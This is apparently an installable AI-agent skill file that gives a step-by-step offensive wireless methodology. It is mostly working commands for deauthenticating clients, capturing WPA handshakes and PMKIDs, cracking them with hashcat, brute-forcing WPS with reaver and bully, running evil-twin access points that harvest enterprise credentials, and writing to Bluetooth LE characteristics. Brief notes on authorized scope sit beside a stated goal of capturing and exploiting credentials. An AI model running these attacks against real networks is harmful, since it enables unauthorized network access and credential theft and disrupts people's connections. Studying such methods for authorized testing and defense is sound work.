offensive-techniques/wireless-technique/SKILL.md
Auth assessment: wireless methodology; Wi-Fi/BLE survey, WPA/WPA3 handshake/PMKID labs, WPS, rogue-AP simulation, auth-material handoff.
npx skillsauth add aeondave/malskill wireless-techniqueInstall this skill globally with one command. Works with Claude Code, Cursor, and Windsurf.
3 of 9 scanners reported clean
Some scanners were skipped, did not run, or reported a non-clean status. Review each row below.
Goal: identify, capture, and exploit wireless network credentials or gain direct network access via RF attack surface with minimal RF noise and targeted scope.
cracking-technique (hashcat mode 2500/22000/16800).recon-technique + vuln-search-technique once on network.forensic-technique §3 (PCAP/network forensics) or network-technique §Case B.reversing-technique §6 (protocol reversing).Before transmitting, classify the wireless target set and choose the quietest path that can satisfy the assessment objective.
kismet, aircrack-ng capture flow, lswifi, bluez, sparrow-wifi), then move to active capture or impersonation tooling (aircrack-ng, wifite, bettercap) only when the classification justifies it.hci device or dongle).iw list | grep -A10 "Supported interface modes" — must show monitor.Loop:
1. Passive survey — inventory APs and clients without transmitting.
2. Target selection — identify high-value networks by SSID, client count, encryption.
3. Attack path selection — based on encryption type and WPS status.
4. Capture or exploit.
5. Crack offline or pivot to network.
Stop when: valid PSK recovered, network access achieved, or scope exhausted.
Never transmit before completing passive survey. Always operate within authorized scope and RF boundaries.
Zero transmission. Capture all beacon frames and probe requests in range.
# Check adapter and capabilities
iw dev; iw list | grep -A5 "Supported interface modes"
# Enable monitor mode
sudo airmon-ng start wlan0 # creates wlan0mon (or leaves wlan0 in monitor)
# or manually:
sudo ip link set wlan0 down
sudo iw dev wlan0 set type monitor # canonical form; add flags via `set monitor <flag>` if needed
sudo ip link set wlan0 up
# Kill interfering processes first
sudo airmon-ng check kill
# Broad scan — all channels, all bands
sudo airodump-ng wlan0mon
# Dual-band scan (2.4 + 5 GHz)
sudo airodump-ng --band abg wlan0mon
# Save survey to file for analysis
sudo airodump-ng wlan0mon -w survey --output-format csv,cap
# Focused on specific channel after target identified
sudo airodump-ng -c <channel> --bssid <AP_MAC> wlan0mon -w capture
Better for long-term logging, multiple adapters, and BLE/802.15.4.
sudo kismet -c wlan0mon
# Web UI: http://localhost:2501 (default: admin/kismet or set at first run)
# CLI summary
kismetdb_to_wireshark --in kismet_log.kismet --out kismet.pcap
kismetdb_to_csv --in kismet_log.kismet --out devices.csv
See offensive-tools/wireless/kismet/.
lswifi # list all visible networks with signal, encryption, channel
lswifi -ap # AP-only view
See offensive-tools/wireless/lswifi/.
Per AP:
| Encryption | WPS | Primary attack | Secondary | |------------|-----|----------------|-----------| | OPN (open) | N/A | Direct join | Traffic capture → forensic-technique | | WEP | N/A | ARP replay → key recovery | Statistical IV attack | | WPA2-PSK | enabled + unlocked | WPS PIN / Pixie Dust | PMKID + handshake | | WPA2-PSK | disabled/locked | PMKID → handshake capture | Evil twin | | WPA2-EAP (Enterprise) | N/A | Evil twin EAP downgrade → RADIUS | Client cert theft | | WPA3-SAE | N/A | Downgrade to WPA2 (if transition mode) | Dictionary via PMKID/dragonblood |
Decision rules:
references/bluetooth-attacks.md; BLE pairing/GATT flaws are separate from Wi-Fi credential capture.Faster than handshake — requests PMKID directly from AP without waiting for client association.
# hcxdumptool >= 6.3 (Kali 2024+): -o/--enable_status/--filterlist_ap were removed.
# Use -w for the pcapng, --rds for realtime display, and BPF for AP filtering.
sudo hcxdumptool -i wlan0mon -w pmkid.pcapng --rds=1
# Filter for specific BSSID via Berkeley Packet Filter
sudo tcpdump -y IEEE802_11_RADIO -i wlan0mon --dump-bpf \
"wlan addr3 aa:bb:cc:dd:ee:ff" > bssid.bpf
sudo hcxdumptool -i wlan0mon -w pmkid.pcapng --bpf=bssid.bpf --rds=1
# Convert for hashcat (mode 22000)
hcxpcapngtool -o hash22000.txt pmkid.pcapng
# Crack (see cracking-technique)
hashcat -m 22000 hash22000.txt /path/to/rockyou.txt
Requires client to authenticate. Either wait or force deauth.
# Start targeted capture
sudo airodump-ng -c <channel> --bssid <AP_MAC> -w handshake wlan0mon
# In another terminal — deauth to force reauthentication
sudo aireplay-ng -0 3 -a <AP_MAC> -c <client_MAC> wlan0mon # targeted (quieter)
sudo aireplay-ng -0 5 -a <AP_MAC> wlan0mon # broadcast (noisier)
# Verify handshake captured
aircrack-ng handshake*.cap # shows "WPA (1 handshake)"
# Convert for hashcat (mode 2500 legacy or 22000)
hcxpcapngtool -o hash.txt handshake.cap
hashcat -m 22000 hash.txt rockyou.txt
Automates passive → deauth → handshake → PMKID for multiple targets.
# Scan, attack all WPA targets, save results
sudo wifite --kill
# Target specific SSID
sudo wifite --ssid "TargetNetwork" --kill
# WPS attacks only
sudo wifite --wps --kill
# Output directory with captured hashes
sudo wifite --dict /path/to/rockyou.txt --kill # auto-crack inline
See offensive-tools/wireless/wifite/.
→ Full attack patterns and hashcat cracking handoff: references/wpa-attacks.md.
WPS PIN has a design flaw: PIN validated in two halves → only 11,000 combinations (not 100,000,000).
Decision flow:
wash.reaver -K 1) because vulnerable chipsets can reveal the PIN offline from one exchange.# WPS status check
sudo wash -i wlan0mon # list APs with WPS enabled and lock status
# Pixie Dust attack (offline PIN recovery from WPS exchange — fast when vulnerable)
sudo reaver -i wlan0mon -b <AP_MAC> -K 1 -v # -K 1 = Pixie Dust mode
# Online brute-force (slow — only when Pixie Dust fails and AP not locked)
sudo reaver -i wlan0mon -b <AP_MAC> -v -d 1 --lock-delay=300
# bully — alternative WPS attacker
sudo bully wlan0mon -b <AP_MAC> -d -v 3
WPS lock detection: if AP locks after several attempts, stop immediately — lock triggers IDS alerts and some APs disable WPS permanently.
Impersonate legitimate AP to capture credentials or EAP material.
# hostapd-wpe setup (captures WPA2-EAP credentials)
# Edit hostapd-wpe.conf: ssid, interface, channel, driver
# airbase-ng simple open evil twin + DHCP
sudo airbase-ng -a <AP_MAC_spoof> -e "TargetSSID" -c <channel> wlan0mon
# Then: dhcpd on at0 interface, redirect traffic
# Advanced: use bettercap for captive portal with credential page
sudo bettercap -eval "set wifi.interface wlan0mon; wifi.recon on"
Force clients to connect to rogue RADIUS → capture MSCHAPv2 hashes → crack offline.
# hostapd-wpe — enterprise evil twin with credential logging (from aircrack-ng patch set or eaphammer build)
sudo hostapd-wpe /etc/hostapd-wpe/hostapd-wpe.conf
# Captured hashes default to ./hostapd-wpe.log (override with wpe_logfile= in conf).
# The MSCHAPv2 challenge/response pair is NetNTLMv1-shape → crack with hashcat -m 5500 (or asleap).
# eaphammer — full enterprise attack suite
python3 eaphammer -i wlan0mon --channel <ch> --auth wpa-eap --essid "Corp-WiFi" \
--creds --hostile-portal
→ Full evil twin patterns, captive portal, EAP downgrade: references/evil-twin.md.
WPA3-SAE provides forward secrecy and stronger offline attack resistance. However:
# Check if transition mode active
sudo airodump-ng wlan0mon | grep -i "WPA3\|SAE"
# If "WPA2 WPA3" both listed → transition mode → use WPA2 attack path
# Verify client behavior: probe client connects via WPA2 in transition mode
# Capture regular 4-way handshake and attack normally
→ WPA3 dragonblood details and BLE attacks: references/wpa3-and-ble.md.
Passive BLE device survey — identify exposed GATT services, advertised data, signal proximity.
# bluetoothctl — interactive BLE scan
sudo bluetoothctl
[bluetooth]# scan on # passive scan
[bluetooth]# devices # list discovered
[bluetooth]# info <MAC> # device details
# hcitool — raw HCI commands
sudo hcitool lescan # BLE scan
sudo hcitool scan # classic Bluetooth scan
# Gatttool — GATT service enumeration
gatttool -b <device_MAC> -I
[device_MAC][LE]> connect
[device_MAC][LE]> primary # list services
[device_MAC][LE]> characteristics # list characteristics
# NOTE: hcitool + gatttool are deprecated upstream (BlueZ 'bluez-deprecated' package).
# On modern distros prefer bluetoothctl (interactive), btmgmt (management), and
# btgatt-client / bluetoothctl gatt.* commands for GATT work. bettercap is the
# operator-facing shortcut for scan + GATT enum + write:
sudo bettercap -eval "ble.recon on"
bettercap> ble.show # show discovered devices
bettercap> ble.enum <MAC> # enumerate all handles
bettercap> ble.write <MAC> <handle> <hex_data> # write to characteristic
See offensive-tools/wireless/bluez/, offensive-tools/wireless/sparrow-wifi/, offensive-tools/wireless/kismet/, and offensive-tools/network/bettercap/.
→ BLE GATT exploitation, pairing/security-mode testing, classic Bluetooth attacks, BLE MITM: references/bluetooth-attacks.md.
iw dev).development
Auth/lab ref: Unicorn Engine CPU-only emulation for shellcode, decryptors, custom VM handlers, instruction tracing, memory hooks, and register-level experiments.
development
Auth/lab ref: Renode board and SoC simulation for MCU/RTOS firmware, UART/GPIO/peripheral modeling, GDB remote debugging, REPL platforms, and RESC scripts.
development
Auth/lab ref: Qiling OS-layer binary emulation for PE/ELF/Mach-O/UEFI/shellcode with rootfs, syscall/API hooks, filesystem mapping, and runtime patching.
databases
Auth/lab ref: QEMU user-mode and full-system emulation for cross-arch binaries, firmware, kernels, disks, serial consoles, networking, and GDB stubs.